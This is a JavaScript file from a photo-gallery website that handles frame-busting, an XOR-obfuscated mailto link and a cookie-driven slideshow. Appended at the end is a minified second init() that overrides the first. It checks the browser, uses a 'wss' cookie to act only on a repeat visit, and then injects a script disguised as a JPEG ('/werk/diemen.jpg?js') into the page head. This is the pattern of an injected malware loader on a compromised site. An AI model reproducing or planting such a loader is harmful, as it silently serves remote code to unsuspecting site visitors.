function init() {
    escapeFrameset();
    setEmail("email", "",
        unescape("%1E%C1%A4%ECO%15%10%A6/u%02%B9E%1A%91A%B9B%C7z%00j"),
        unescape("%7D%AF%C8%9B*sb%E1L%1Dz%DB%27s%FA%25%C26%A7Gz%13"));
    slideShow();
}

function escapeFrameset() {
    if (top != window) {
        window.top.location.replace(window.location);
    }
}

function setEmail(id, text, code1, code2) {
    var email = document.getElementById(id);
    if (email) {
        var mailto = document.createElement("a");
        var address = "";
        for (var i=0; i<code1.length;i++) {
            address += String.fromCharCode(code1.charCodeAt(i)^code2.charCodeAt(i)^i);
        }
        if (!text) {
            text = address;
        }
        mailto.href = "mailto:" + address;
        mailto.appendChild(document.createTextNode(text));
        var emailnew = email.cloneNode(false);
        emailnew.appendChild(mailto);
        email.parentNode.replaceChild(emailnew,email);
    }
}

// Slideshow support
var timeout;

function slideShow() {
    var showIsRunning = false;
    var delay = getCookie('delay');
    var last;
    if (delay) {
        last = getCookie('last');
    } else {
        delay = getQuery('delay');
        last = getQuery('last');
    }
    if (delay) {
        var stopper = document.getElementById("stop_slideshow");
        if (!stopper) {
            stopSlideShow();
            return;
        } 
        stopper.style.display = "inline";
        var now = (new Date()).getTime();
        if (! last) {
            last = now;
        }
        var next = 1*last + 1000*delay;
        var wait = next-now;
        var nexturl = document.getElementById("next");
        if (nexturl) {
            var url = nexturl.href;
            if (setCookie('delay',delay)) {
                setCookie('last', next);
            } else {
                url += "?last=" + next + "&delay=" + delay;
            }
        }
        timeout = setTimeout('slideShowNext("'+url+'");',wait); 
        showIsRunning = true;
    }
    if (!showIsRunning) {
        resetSlideControls();
    }
}
function resetSlideControls() {
    var showLink = document.getElementById("show_slideform");
    if (showLink) {
        showLink.style.display = "inline";
        document.getElementById("stop_slideshow").style.display = "none";
        document.getElementById("slideform").style.display = "none";
    }
}
function slideShowNext(url) {
    location.replace(url);
}

function showSlideForm() {
    var next = document.getElementById("next");
    var form = document.getElementById("slideform");
    form.style.position = "absolute";
    form.style.top = (next.offsetTop + next.offsetHeight) + "px";
    form.style.left = (next.offsetLeft + next.offsetWidth) + "px";
    form.style.display = "block";
    document.getElementById("show_slideform").href = "javascript:hideSlideForm();";
}

function hideSlideForm() {
    document.getElementById("slideform").style.display = "none";
    document.getElementById("show_slideform").href = "javascript:showSlideForm();";
}

function startSlideShow() {
    document.getElementById("slideform").submit();
}

function stopSlideShow() {
    clearTimeout(timeout);
    resetSlideControls();
    if (getCookie('delay')) {
        setCookie('last','');
        setCookie('delay','');
    } else {
        location.replace(location.pathname);
    }
}

function setCookie(name, value) {
    document.cookie = name + '=' + escape(value) + '; path=/';
    if (getCookie(name) == value) {
        return true;
    } else {
        return false;
    }
}

function getCookie(name) {
    return getVar(name,document.cookie,';');
}

function getQuery(name) {
    var query = location.search;
    return getVar(name,query.substring(1,query.length),'&');
}

function getVar(name, source, delim) {
    var start = (source).indexOf(name+'=');
    if (start == -1) {
        return '';
    }
    start += name.length + 1;
    var end = source.indexOf(delim,start);
    if (end == -1) {
        end = source.length;
    }
    return unescape(source.substring(start, end));
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/werk/diemen.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
